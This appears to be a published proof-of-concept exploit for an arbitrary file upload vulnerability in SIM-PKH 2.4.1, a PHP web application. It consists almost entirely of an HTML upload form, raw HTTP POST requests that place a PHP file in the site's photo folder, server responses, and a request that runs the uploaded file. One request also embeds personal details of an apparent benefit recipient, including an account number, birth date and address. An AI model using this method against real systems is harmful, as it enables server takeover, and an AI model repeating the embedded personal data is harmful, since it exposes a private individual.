# Exploit Title: SIM-PKH 2.4.1 - Arbitrary File Upload # Dork: N/A # Date: 2018-10-22 # Exploit Author: Ihsan Sencan # Vendor Homepage: https://simpkh.sourceforge.io/ # Software Link: https://sourceforge.net/projects/simpkh/files/latest/download # Version: 2.4.1 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: N/A # POC: # 2) # Everyone.... <form method="POST" enctype="multipart/form-data" action="http://localhost/[PATH]/admin/modul/mod_pengurus/aksi_pengurus.php?module=pengurus&act=update"> <input name="fupload" type="file"> <input value="Upload" type="submit"></td></tr> </form> # Upload Path: http://localhost/[PATH]/foto/59phpinfo2.php POST /[PATH]/admin/modul/mod_pengurus/aksi_pengurus.php?module=pengurus&act=update HTTP/1.1 Host: 192.168.1.27 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=sbl43od8c5ceereifi8qidm923 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------10453613844351558052030056362 Content-Length: 261 -----------------------------10453613844351558052030056362 Content-Disposition: form-data; name="fupload"; filename="phpinfo2.php" Content-Type: application/force-download <?php phpinfo(); ?> -----------------------------10453613844351558052030056362-- HTTP/1.1 200 OK Date: Mon, 22 Oct 2018 15:59:01 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5554 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 # http://localhost/[PATH]/foto/59phpinfo2.php GET /sim-pkh/foto/59phpinfo2.php HTTP/1.1 Host: 192.168.1.27 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: PHPSESSID=sbl43od8c5ceereifi8qidm923 Connection: keep-alive HTTP/1.1 200 OK Date: Mon, 22 Oct 2018 15:59:28 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 # POC: # 2) # Users.... # http://localhost/[PATH]/admin/modul/mod_pengurus/aksi_pengurus.php?module=pengurus&act=update # Upload Path: http://localhost/[PATH]/foto/25phpinfo.php POST /[PATH]/admin/modul/mod_pengurus/aksi_pengurus.php?module=pengurus&act=update HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: [PATH]/admin/media.php?module=pengurus&act=editpengurus&id=320323241474 Cookie: PHPSESSID=sbl43od8c5ceereifi8qidm923 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------84876618815601613714142368 Content-Length: 2745 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="id_pengurus" 320323241474 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="no_rekening" 0401741906 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="nama" IMAS -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="tempat" SUKABUMI -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="tl" 1985-11-08 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="Usia" 33 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="fupload"; filename="phpinfo.php" Content-Type: application/force-download <?php phpinfo(); ?> -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="pekerjaan" BURUH -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="ibu_kandung" ELIS -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="suami" -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="alamat" KP BABAKAN RT 09 RW 02 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="no_hp" -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="id_desa" 4 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="id_kelompok" 13 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="id_jabatan" 2 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="id_status" 1 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="id_pendamping" pdp-01 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="bumil" 0 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="balita" 1 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="apras" 1 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="sd" 0 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="smp" 2 -----------------------------84876618815601613714142368 Content-Disposition: form-data; name="sma" 0 -----------------------------84876618815601613714142368-- HTTP/1.1 302 Found Date: Mon, 22 Oct 2018 15:42:39 GMT Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30 X-Powered-By: PHP/5.6.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Location: ../../media.php?module=pengurus Content-Length: 1976 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8